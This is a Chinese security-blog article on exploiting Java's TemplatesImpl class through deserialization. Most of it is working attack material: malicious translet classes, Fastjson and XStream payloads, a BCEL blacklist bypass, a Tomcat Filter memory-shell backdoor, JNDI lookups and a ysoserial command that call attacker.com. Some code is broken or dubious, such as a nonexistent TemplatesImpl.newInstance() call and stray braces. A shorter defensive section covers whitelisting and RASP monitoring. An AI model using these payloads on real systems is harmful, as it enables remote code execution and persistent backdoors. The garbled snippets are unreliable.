freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java TemplatesImpl的深度利用技巧
2025-03-22 00:56:49
所属地 陕西省

一、核心原理

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是 JDK 内置的 XSLT 处理器类,其defineTransletClasses()方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。

核心方法调用链

TemplatesImpl.newTransformer() 
  → getTransletInstance() 
    → defineTransletClasses() 
      → ClassLoader.defineClass() // 加载恶意字节码

二、基础利用案例

1. 手动构造攻击链
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { /* 异常处理 */ }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
2. 反射注入字节码
TemplatesImpl templates = TemplatesImpl.newInstance();

// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());

// 触发类加载
templates.newTransformer();

反射工具方法

void setField(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

三、绕过技巧

1. JDK 高版本适配(JDK 8u71+)

绕过 JDK 高版本限制

  • 问题:JDK 8u71+ 修复了AnnotationInvocationHandler的漏洞入口,传统 CC 链失效。

  • 解决方案

    • 使用TemplatesImpl直接加载字节码:通过构造_bytecodes字段的恶意类,直接触发defineTransletClasses,无需依赖其他链式调用。

    • 结合 BCEL 编码:通过 BCEL(Apache Commons BCEL)将恶意类编码为字符串形式,避免直接使用.class文件触发检测。

// 通过 BCEL 加载绕过类名检查
String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
2. 绕过 Fastjson 私有属性限制
  • 关键参数Feature.SupportNonPublicField

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
  • 默认情况下,Fastjson 无法反序列化私有属性(如_bytecodes)。通过添加该参数,可强制反序列化私有字段:

  • 绕过_tfactory空指针
    设置_tfactory为空对象{},Fastjson 会调用其无参构造函数生成默认的TransformerFactoryImpl实例,避免因空指针导致流程终止。

四. 内存马注入

  1. Tomcat Filter 型内存马

public class MemShell extends AbstractTranslet {
static {
    WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext) classLoader.getResources().getContext();
    // 注入 Filter 配置
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(this.getClass().getName());
    context.addFilterDef(filterDef);
    // 添加 URL 映射
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("evilFilter");
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
}
  • 实现逻辑
    在恶意类的静态代码块中,通过反射向当前 Tomcat 上下文注入自定义 Filter,实现持久化后门。

}
```

  1. Spring Controller 型内存马

    • 利用 Spring 动态注册机制
      通过反射修改RequestMappingHandlerMapping,注册恶意 Controller,拦截特定路径请求。

四、防御对抗艺术

1. 反序列化防护

白名单校验:使用ValidatingObjectInputStream限制反序列化的类:

// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("java.lang.String", "java.util.HashMap");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}
2. RASP 防护(运行时检测)
  • 监控defineClass调用:通过 Java Agent 拦截ClassLoader.defineClass,检测非法字节码加载行为。

    • Hook 关键方法:监控TemplatesImpl.newTransformer()getTransletInstance()的调用栈。

// 使用 Java Agent 检测 defineClass
public class ClassDefineMonitor {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if (className.contains("Evil")) {
                throw new SecurityException("Detected malicious class: " + className);
            }
            return classfileBuffer;
        }, true);
    }
}


六、混合利用技巧

1. 结合 JNDI 注入

当目标环境存在 JNDI 注入漏洞(如 Log4j2)时,通过TemplatesImpl触发远程类加载,绕过本地字节码检测,直接加载远程恶意类

// 生成包含 JNDI 触发的字节码
public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) { /* 异常处理 */ }
    }
}

// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
2. 结合 Fastjson 漏洞
// Fastjson 反序列化载荷
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["BASE64_ENCODED_BYTECODE"],
  "_name": "Exploit",
  "_tfactory": {},
  "_outputProperties": {}
}
3. Fastjson + TemplatesImpl + Groovy 链
  • 利用 Groovy 的MethodClosure
    通过 Groovy 闭包触发命令执行,结合TemplatesImpl加载恶意字节码,形成多链组合攻击:

Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(new MethodClosure("calc", "execute")),
    new InvokerTransformer("call", null, null)
};


七、实战检测命令

  1. 字节码生成工具

    • Javassist/ASM:动态构造符合AbstractTranslet规范的恶意类。

    • Ysoserial 扩展:自定义 Gadget 链生成TemplatesImpl专用 Payload。

  2. 漏洞检测脚本

    • 基于堆内存分析:通过jmapjhat分析内存中的恶意类实例。

    • 流量特征检测:监控 Fastjson 请求中是否包含_bytecodes@type关键字。

# 使用 ysoserial 生成 TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin

# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize

# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意 Filter

关键审计点与防御建议

代码审计关注点

// 危险模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField) 

// 敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()

防御策略

  1. 升级至 JDK 8u191+(限制defineClass的使用)

  2. 使用SerialKiller等安全反序列化库

  3. 开启 SecurityManager 并配置严格策略

  4. 监控defineClassnewTransformer的调用

总结与演进方向

  • 演进趋势:从单一链式利用向多漏洞链组合发展(如 JNDI + TemplatesImpl)。

  • 防御重点:强化字节码加载监控、禁用非必要反射操作、严格校验反序列化输入。

  • 工具推荐

    • 检测:CodeQL 定制规则分析defineClass调用路径。

    • 防护:OpenRASP 或 Contrast Security 实现运行时保护。

TemplatesImpl 的高级利用技巧

一、利用TemplatesImpl结合 JNDI 注入进阶版

虽然TemplatesImpl本身不依赖 JNDI,但可以通过组合漏洞链实现更复杂的攻击。例如,利用TemplatesImpl加载的恶意类触发 JNDI 远程类加载:

代码案例

public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

// 生成字节码并注入到 TemplatesImpl 中
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "JNDILoader");
setField(templates, "_tfactory", new TransformerFactoryImpl());

// 结合 Fastjson 触发
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"" + base64EncodedCode + "\"]," +
                "\"_outputProperties\":{}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

技巧:通过TemplatesImpl加载的类触发 JNDI 查询,绕过直接依赖反序列化链的限制。

二、利用 BCEL 字节码绕过类名检测

某些环境下对TemplatesImpl的类名黑名单有过滤,可通过 BCEL 格式的字节码绕过类名校验:

代码案例

// 生成 BCEL 格式字节码
String bcelCode = "$$BCEL$$..."; 
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 设置特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});

技巧:BCEL 编码的字节码可在某些场景下绕过类名检查,结合TemplatesImpl的加载机制实现绕过。

三、结合动态代理绕过方法调用限制

利用动态代理触发TemplatesImplnewTransformer方法,绕过直接调用检测:

代码案例

InvocationHandler handler = (proxy, method, args) -> {
    if (method.getName().equals("getOutputProperties")) {
        return templates.newTransformer();
    }
    return null;
};

Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler
);

// 通过代理对象触发
proxyMap.get("outputProperties");

技巧:通过动态代理间接调用getOutputProperties,避免直接触发敏感方法。

四、绕过 JDK 高版本限制(JDK 8u191+)

在 JDK 8u191+ 中,TemplatesImpl的类加载可能受限制,可通过以下方式绕过:

代码案例

// 使用 Unsafe 类强制修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 直接修改 TemplatesImpl 的 _class 字段
Field _classField = TemplatesImpl.class.getDeclaredField("_class");
long offset = unsafe.objectFieldOffset(_classField);
unsafe.putObject(templates, offset, new Class[]{EvilClass.class});

技巧:通过底层内存操作绕过访问控制,强制加载恶意类。

五、结合其他反序列化框架(如 XStream)

在 XStream 中利用TemplatesImpl加载恶意类:

代码案例

<map>
  <entry>
    <string>@type</string>
    <string>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</string>
  </entry>
  <entry>
    <string>_bytecodes</string>
    <string>BASE64_ENCODED_BYTECODE</string>
  </entry>
  <entry>
    <string>_outputProperties</string>
    <map/>
  </entry>
</map>

技巧:通过构造 XML Payload 触发 XStream 的反序列化漏洞,结合TemplatesImpl执行命令。

总结与防御建议

  1. 检测关键方法调用:监控defineClassnewTransformer的调用行为。

  2. 黑名单增强:扩展对TemplatesImpl及其相关类的黑名单检测。

  3. 运行时防护(RASP):通过字节码插桩拦截恶意类加载行为。

  4. 升级依赖库:使用 Fastjson 1.2.83+ 并启用safeMode,或迁移至 Jackson。

# JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录